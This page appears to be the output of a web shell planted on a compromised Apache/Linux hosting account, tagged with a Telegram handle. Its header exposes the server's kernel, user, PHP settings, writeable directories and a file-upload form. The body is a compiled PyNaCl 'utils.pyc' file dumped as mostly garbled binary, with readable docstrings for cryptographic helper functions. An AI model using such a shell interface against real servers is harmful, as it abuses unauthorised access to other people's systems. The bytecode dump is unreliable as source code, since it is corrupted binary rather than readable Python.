https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib64/python2.7/site-packages/nacl/bindings/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/python2.7/site-packages/nacl/bindings/utils.pyc
�
y�\c@`s�ddlmZmZmZddlmZddljZddl	m
Z
mZddlmZd�Z
d�Zd�Zd	�Zd
�ZdS(i(tabsolute_importtdivisiontprint_function(t
integer_typesN(tffitlib(tensurecC`s�tt|t�dtj�tt|t�dtj�tt|�t|��}tjd|�}tjd|�}tj	||t|��tj	||t|��t|�t|�k}t
j|||�dk}|o�|S(sA
    Compare contents of two memory regions in constant time
    traisingschar []i(Rt
isinstancetbytestexct	TypeErrortmaxtlenRtnewtmemmoveRt
sodium_memcmp(tinp1tinp2tlntbuf1tbuf2teqLteqC((s5/tmp/pip-install-A1qMVe/pynacl/nacl/bindings/utils.pyRs

cC`s�tt|t�dtj�tt|t�dtj�|dkrPtj�nt|�}||}tj	d|�}tj	dd�}tj
|||�tj|||||�}t|dkddtj
�tj||d�S(s�
    Pad the input bytearray ``s`` to a multiple of ``blocksize``
    using the ISO/IEC 7816-4 algorithm

    :param s: input bytes string
    :type s: bytes
    :param blocksize:
    :type blocksize: int
    :return: padded string
    :rtype: bytes
    Risunsigned char []s	size_t []isPadding failure(RRR	R
RRt
ValueErrorR
RRRRt
sodium_padtCryptoErrortbuffer(tst	blocksizets_lentm_lentbuftp_lentrc((s5/tmp/pip-install-A1qMVe/pynacl/nacl/bindings/utils.pyR.s


cC`s�tt|t�dtj�tt|t�dtj�t|�}tjdd�}t	j
||||�}|dkr�tjd��n||d S(s�
    Remove ISO/IEC 7816-4 padding from the input byte array ``s``

    :param s: input bytes string
    :type s: bytes
    :param blocksize:
    :type blocksize: int
    :return: unpadded string
    :rtype: bytes
    Rs	size_t []iisUnpadding failure(RRR	R
RRR
RRRtsodium_unpadR(RRRtu_lenR"((s5/tmp/pip-install-A1qMVe/pynacl/nacl/bindings/utils.pyR#Js

cC`sntt|t�dtj�t|�}tjd|�}tj|||�t	j
||�tj||�S(sg
    Increment the value of a byte-sequence interpreted
    as the little-endian representation of a unsigned big integer.

    :param inp: input bytes buffer
    :type inp: bytes
    :return: a byte-sequence representing, as a little-endian
             unsigned big integer, the value ``to_int(inp)``
             incremented by one.
    :rtype: bytes

    Rsunsigned char [](RRR	R
RR
RRRRtsodium_incrementR(tinpRR ((s5/tmp/pip-install-A1qMVe/pynacl/nacl/bindings/utils.pyR%as

cC`s�tt|t�dtj�tt|t�dtj�t|�}tt|�|kdtj�tjd|�}tjd|�}tj|||�tj|||�t	j
|||�tj||�S(s
    Given a couple of *same-sized* byte sequences, interpreted as the
    little-endian representation of two unsigned integers, compute
    the modular addition of the represented values, in constant time for
    a given common length of the byte sequences.

    :param a: input bytes buffer
    :type a: bytes
    :param b: input bytes buffer
    :type b: bytes
    :return: a byte-sequence representing, as a little-endian big integer,
             the integer value of ``(to_int(a) + to_int(b)) mod 2^(8*len(a))``
    :rtype: bytes
    Rsunsigned char [](RRR	R
RR
RRRRt
sodium_addR(tatbRtbuf_atbuf_b((s5/tmp/pip-install-A1qMVe/pynacl/nacl/bindings/utils.pyR'{s


(t
__future__RRRtsixRtnacl.exceptionst
exceptionsR
tnacl._sodiumRRRRRR#R%R'(((s5/tmp/pip-install-A1qMVe/pynacl/nacl/bindings/utils.pyt<module>s				

https://t.me/AnonymousX5 - 2025